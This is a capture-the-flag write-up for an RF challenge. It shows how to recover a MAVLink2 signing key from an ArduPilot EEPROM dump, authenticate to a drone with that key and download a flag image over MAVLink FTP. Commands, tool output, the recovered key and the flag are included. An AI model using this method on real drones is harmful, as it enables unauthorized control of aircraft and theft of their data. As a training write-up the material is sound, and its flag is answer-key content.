| Category | Communication & RF |
| Points | 499 |
| Solves | 32 |
Prismantir recovered a single enemy drone running ArduPilot. Although only one flight controller was captured, the swarm shares the same MAVLink2 signing key. Recover the signing key from the EEPROM dump, authenticate to the drone over MAVLink2, then use MAVLink FTP to retrieve the hidden image containing the flag.
Flag format
starpwn{[A-Za-z_]+}
eeprom.bin – 16 KiB ArduPilot EEPROMGCS_Signing.cpp – SigningKey structureGCS_FTP.cpp/.h – MAVLink FTP implementationanalyse_eeprom.pyanalyse_signing.pyverify_key.pyheartbeat.pyfind_image.pydownloader.pyThe dump begins with the PA magic used by ArduPilot AP_Param storage.
python3 analyse_eeprom.py eeprom.bin
Expected:
ArduPilot EEPROM Analysis
-------------------------
Size : 16384 bytes
Magic: PA
Revision byte : 6
Non-zero regions
----------------
0x0000 - 0x0002 3 bytes entropy=1.58
0x0005 - 0x0005 1 bytes entropy=0.00
....
0x1F90 - 0x1F91 2 bytes entropy=1.00
0x1F93 - 0x1FAF 29 bytes entropy=4.86
Searching for SigningKey magic...
============================================================
Possible SigningKeyCommu
============================================================
Offset : 0x1F80
Magic : 0x3852FCD1
Pad : 0x00000000
Timestamp : 36527303400913
Entropy : 5.000 bits/byte
Key : d4ee003d187614d9ffa24d20f58b448551c2cdc1e54cf42fc00bb86182249126
00001F80 D1 FC 52 38 00 00 00 00 D1 9D F1 AC 38 21 00 00 ..R8........8!..
00001F90 D4 EE 00 3D 18 76 14 D9 FF A2 4D 20 F5 8B 44 85 ...=.v....M ..D.
00001FA0 51 C2 CD C1 E5 4C F4 2F C0 0B B8 61 82 24 91 26 Q....L./...a.$.&
The script also reports populated EEPROM regions and searches for the signing-key magic.

GCS_Signing.cpp defines the persistent signing structure:
(https://github.com/ArduPilot/ardupilot/blob/master/libraries/GCS_MAVLink/GCS_Signing.cpp)
struct SigningKey {
uint32_t magic;
uint64_t timestamp;
uint8_t secret_key[32];
};
The structure is identified using the magic value 0x3852FCD1.
python3 analyse_signing.py eeprom.bin GCS_Signing.cpp
Expected:
Signing structure
-----------------
MAGIC : 0x3852FCD1
Struct Size : 48
Key Length : 32
============================================================
Offset : 0x1F80
Magic : 0x3852FCD1
Timestamp : 36527303400913
Key : d4ee003d187614d9ffa24d20f58b448551c2cdc1e54cf42fc00bb86182249126
Recovered key:
d4ee003d187614d9ffa24d20f58b448551c2cdc1e54cf42fc00bb86182249126
Before interacting with the drone, verify that the recovered key correctly authenticates signed MAVLink2 traffic.
python3 verify_key.py HOST PORT <KEYHEX>
Expected:
============================================================
MAVLink2 Signed Packet
============================================================
Payload Length : 9
Sequence : 244
System ID : 2
Component ID : 1
Message ID : 0
CRC : 0xF25D
Link ID : 2
Timestamp : 36736923561411
Received Sig : 1d63c0d9ebed
Computed Sig : 1d63c0d9ebed
[+] KEY VERIFIED
============================================================
A simple heartbeat confirms that the connection and signing work correctly.
python3 heartbeat.py HOST PORT <KEYHEX>
Expected:
[*] Connecting to tcp:0.cloud.chals.io:15174
[*] Installing signing key
[*] Waiting for incoming telemetry...
RX: sys= 5 comp= 1 HEARTBEAT
RX: sys= 3 comp= 1 HEARTBEAT
RX: sys= 1 comp= 1 HEARTBEAT
RX: sys= 2 comp= 1 HEARTBEAT
RX: sys= 4 comp= 1 HEARTBEAT
RX: sys= 5 comp= 1 HEARTBEAT
RX: sys= 3 comp= 1 HEARTBEAT
RX: sys= 1 comp= 1 HEARTBEAT
RX: sys= 2 comp= 1 HEARTBEAT
RX: sys= 4 comp= 1 HEARTBEAT
RX: sys= 5 comp= 1 HEARTBEAT
RX: sys= 3 comp= 1 HEARTBEAT
RX: sys= 1 comp= 1 HEARTBEAT
RX: sys= 2 comp= 1 HEARTBEAT
[*] Sending HEARTBEAT
[+] HEARTBEAT transmitted
[*] Waiting for replies...
RX: sys= 4 comp= 1 HEARTBEAT
RX: sys= 5 comp= 1 HEARTBEAT
RX: sys= 3 comp= 1 HEARTBEAT
RX: sys=255 comp=230 TERRAIN_DATA
RX: sys= 1 comp= 1 HEARTBEAT
RX: sys=255 comp=230 HEARTBEAT
RX: sys=255 comp=230 TERRAIN_DATA
RX: sys= 1 comp= 1 MISSION_ITEM_REACHED
RX: sys= 1 comp= 1 STATUSTEXT
RX: sys= 1 comp= 1 STATUSTEXT
RX: sys=255 comp=230 TERRAIN_DATA
RX: sys= 4 comp= 1 HEARTBEAT
RX: sys= 2 comp= 1 HEARTBEAT
...
The drone exposes the ArduPilot MAVLink FTP service (FILE_TRANSFER_PROTOCOL).
List the filesystem:
python3 find_image.py
Result:
[*] Connecting...
==========
DIR: /
DIR: /
DIR: /
DIR: /
DIR: /
==========
DIR: /DCIM
[FILE] /DCIM/flag.jpg (40536 bytes)
########################################
FOUND IMAGE: /DCIM/flag.jpg
########################################
==========
DIR: /terrain
[FILE] /terrain/N36W116.DAT (401408 bytes)
==========
DIR: /@ROMFS
[FILE] /@ROMFS/locations.txt (4425 bytes)
DIR: /@ROMFS
==========
DIR: /@SYS
[FILE] /@SYS/threads.txt (100000 bytes)
[FILE] /@SYS/tasks.txt (100000 bytes)
[FILE] /@SYS/dma.txt (100000 bytes)
[FILE] /@SYS/memory.txt (100000 bytes)
[FILE] /@SYS/uarts.txt (100000 bytes)
[FILE] /@SYS/timers.txt (100000 bytes)
[FILE] /@SYS/can_log.txt (100000 bytes)
[FILE] /@SYS/can0_stats.txt (100000 bytes)
[FILE] /@SYS/can1_stats.txt (100000 bytes)
[FILE] /@SYS/crash_dump.bin (100000 bytes)
[FILE] /@SYS/storage.bin (16384 bytes)
==========
DIR: /@ROMFS/models
[FILE] /@ROMFS/models/Callisto.json (1460 bytes)
[FILE] /@ROMFS/models/freestyle.json (1395 bytes)
[FILE] /@ROMFS/models/plane-3d.parm (874 bytes)
[FILE] /@ROMFS/models/plane.parm (1739 bytes)
[FILE] /@ROMFS/models/xplane_heli.json (1935 bytes)
[FILE] /@ROMFS/models/xplane_plane.json (1905 bytes)
downloader.py implements the same packet format used by ArduPilot’s GCS_FTP.cpp.
(https://github.com/ArduPilot/ardupilot/blob/master/libraries/GCS_MAVLink/GCS_FTP.cpp)
Protocol flow:
ResetSessions
↓
OpenFileRO("DCIM/flag.jpg")
↓
ReadFile(offset=0, size=239)
↓
ReadFile(...)
↓
EOF
↓
TerminateSession
Run:
python3 downloader.py
Output:
[+] File size : 40536 bytes
...
[+] Saved 40536 bytes to flag.jpg
N36W116.DAT was identified as a standard ArduPilot terrain cache tile (36°N, 116°W) and contained no challenge-specific data.
During filesystem enumeration, the virtual @SYS directory exposed several diagnostic entries, including threads.txt, memory.txt, and crash_dump.bin. Although these entries were listed successfully, every READ request returned FTP error 0x0A, indicating that the system diagnostics interface was not accessible through the MAVLink FTP implementation used in the challenge.
Finally, storage.bin was downloaded from the onboard filesystem and compared with the original eeprom.bin. Only nine bytes differed across the entire 16 KiB image, indicating that the runtime storage is almost identical to the original EEPROM contents. No additional secrets or challenge-relevant information were found.
Open flag.jpg.

The image contains the sentence:
machines never pledged to be allegiant
Therefore the flag is
starpwn{machines_never_pledged_to_be_allegiant}
eeprom.bin
│
├── Parse AP_Param EEPROM
│
├── Locate SigningKey (0x3852FCD1)
│
├── Extract 32-byte MAVLink2 signing key
│
├── Verify with live signed telemetry
│
├── Authenticate using MAVLink2 signing
│
├── MAVLink FTP
│ ├── LIST
│ ├── OpenFileRO
│ ├── ReadFile
│ └── TerminateSession
│
└── Download DCIM/flag.jpg
│
└── Read flag